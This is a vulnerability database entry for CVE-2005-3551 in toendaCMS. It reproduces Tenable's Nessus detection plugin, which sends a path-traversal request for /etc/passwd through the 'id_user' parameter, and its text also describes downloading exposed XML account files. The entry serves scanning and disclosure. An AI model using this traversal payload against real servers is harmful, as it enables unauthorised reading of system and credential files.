Vulnerabilities > CVE-2005-3551 - Information Disclosure vulnerability in Toendacms

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
toenda-software-development
nessus

Summary

toendaCMS before 0.6.2 stores user account and session data in the web root directory, which allows remote attackers to obtain sensitive information via a direct request to the appropriate XML file.

Vulnerable Configurations

Part Description Count
Application
Toenda_Software_Development
1

Nessus

NASL familyCGI abuses
NASL idTOENDACMS_0621.NASL
descriptionThe remote host is running toendaCMS, a content management and weblogging system written in PHP. The version of toendaCMS installed on the remote host allows an unauthenticated attacker to read arbitrary files by manipulating the
last seen2020-06-01
modified2020-06-02
plugin id20168
published2005-11-08
reporterThis script is Copyright (C) 2005-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/20168
titletoendaCMS < 0.6.2.1 Multiple Vulnerabilities
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description) {
  script_id(20168);
  script_version("1.17");

  script_cve_id("CVE-2005-3550", "CVE-2005-3551", "CVE-2005-4422");
  script_bugtraq_id(15348, 15351);

  script_name(english:"toendaCMS < 0.6.2.1 Multiple Vulnerabilities");
  script_summary(english:"Checks for multiple vulnerabilities in toendaCMS < 0.6.2.1");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
multiple vulnerabilities." );
 script_set_attribute(attribute:"description", value:
"The remote host is running toendaCMS, a content management and
weblogging system written in PHP. 

The version of toendaCMS installed on the remote host allows an
unauthenticated attacker to read arbitrary files by manipulating the
'id_user' parameter of the 'engine/admin/admin.php' script.  In
addition, it stores account and session data files in XML mode without
protection under the web root; an attacker can download these and gain
access to sensitive information such as password hashes.  Finally, if
an attacker gains administrative access, he can upload files with
arbitrary PHP code through the gallery scripts and execute them
subject to the privileges of the web server user id." );
 script_set_attribute(attribute:"see_also", value:"https://www.sec-consult.com/files/20051107-0_toendacms_multiplevulns.txt" );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/415975/30/0/threaded" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to toendaCMS version 0.6.2.1 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2005/11/08");
 script_cvs_date("Date: 2018/11/15 20:50:19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");
 
  script_copyright(english:"This script is Copyright (C) 2005-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);


# Loop through directories.
foreach dir (cgi_dirs()) {
  # Try to exploit one of the flaws to read /etc/passwd.
  w = http_send_recv3(method:"GET", 
    item:string(
      dir, "/engine/admin/admin.php?",
      "id_user=../../../../../../../../../etc/passwd"
    ), 
    port:port
  );
  if (isnull(w)) exit(1, "the web server did not answer");
  res = w[2];

  # There's a problem if...
  if (
    # it looks like toendaCMS and...
    egrep(pattern:"<title>.*toendaCMS", string:res) &&
    # there's an entry for root.
    egrep(pattern:"root:.*:0:[01]:", string:res)
  ) {
    if (report_verbosity > 0) {
      contents = strstr(res, "../../data/tcms_user/");
      if (contents) {
        contents = contents - strstr(contents, ".xml");
        contents = contents - "../../data/tcms_user/";
      }
      else contents = res;
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "\n",
        contents
      );
      security_warning(port:port, extra:report);
    }
    else security_warning(port);
    exit(0);
  }
}